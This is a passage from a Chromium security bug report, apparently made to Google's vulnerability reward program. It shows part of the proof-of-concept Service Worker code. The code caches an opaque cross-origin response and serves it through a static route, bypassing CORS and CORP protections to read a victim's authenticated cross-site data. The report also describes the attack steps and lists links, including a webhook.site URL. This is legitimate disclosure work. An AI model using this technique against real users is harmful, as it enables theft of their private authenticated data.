console.log('[SW] Caching opaque response under /bypass');
await cache.put(new Request('/bypass'), opaqueRes);
if (event.addRoutes) {
console.log('[SW] Registering static route for /bypass');
await event.addRoutes([{
condition: { urlPattern: new URLPattern({ pathname: '/bypass' }) },
source: 'cache'
}]);
} else {
console.error('[SW] Static Routing API is not supported in this browser version.');
}
})());
});
self.addEventListener('activate', event => {
console.log('[SW] Activating and claiming clients...');
event.waitUntil(clients.claim());
});
Also attached a PoC python HTTP server, just run it, and visit the attacking server. I have also attached a PoC video.
Impact analysis
This allows a complete bypass of CORS Read Protection and Cross-Origin Resource Policy (CORP).
An attacker can install a Service Worker that fetches a sensitive cross-origin endpoint using { mode: ’no-cors’, credentials: ‘include’ } and caches the resulting opaque response. By setting a static route to this cached entry and loading it via an iframe, the attacker can read the victim’s authenticated (will send SameSite None and shared site enabled cookies) cross-site data directly from the DOM.
While Chromium’s Opaque Response Blocking (ORB) prevents the leak of strict application/json or text/html, this exploit successfully leaks authenticated data returned as text/plain, text/csv, media files, and other content types.
The cause
What version of Chrome have you found the security issue in?
Works on both 150.0.7849.0 Canary and 148.0.7778.169 Stable
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Sensitive data exposure
How would you like to be publicly acknowledged for your report?
Bhavya
- https://bughunters.google.com/about/rules/5745167867576320/chrome-vulnerability-reward-program-rules
- https://chromium.googlesource.com/chromium/src/+/2cdb07c74d069929f2f08593030d2c5d02958215%5E%21/
- https://chromium.googlesource.com/chromium/src/+/2cdb07c74d069929f2f08593030d2c5d02958215^!/
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/service_worker/service_worker_main_resource_loader.cc
- https://webhook.site/8893c8fc-9aad-4871-b690-c338c038204d